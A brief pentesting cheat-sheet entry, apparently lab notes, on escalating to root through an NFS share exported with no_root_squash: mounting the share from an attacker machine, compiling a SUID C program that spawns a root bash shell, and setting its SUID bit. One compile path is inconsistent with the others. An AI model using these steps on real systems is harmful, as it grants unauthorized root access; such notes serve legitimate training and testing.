NFS Root Squashing
cat /etc/exports
If we see no_root_squash, this means that the folder attached is shareable and can be mounted. If we connect to the file share as root, any file that we make in the share will be owned by root and if we add the SUID bit it will be ran as root.
On our machine
showmount -e 10.10.182.186 <---- Target IP
sudo mount -o rw,vers=3 10.10.182.186:/tmp /tmp/mountme
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c
gcc /tmp/x.c -o /tmp/x
chmod +s /tmp/mountme/x
Last updated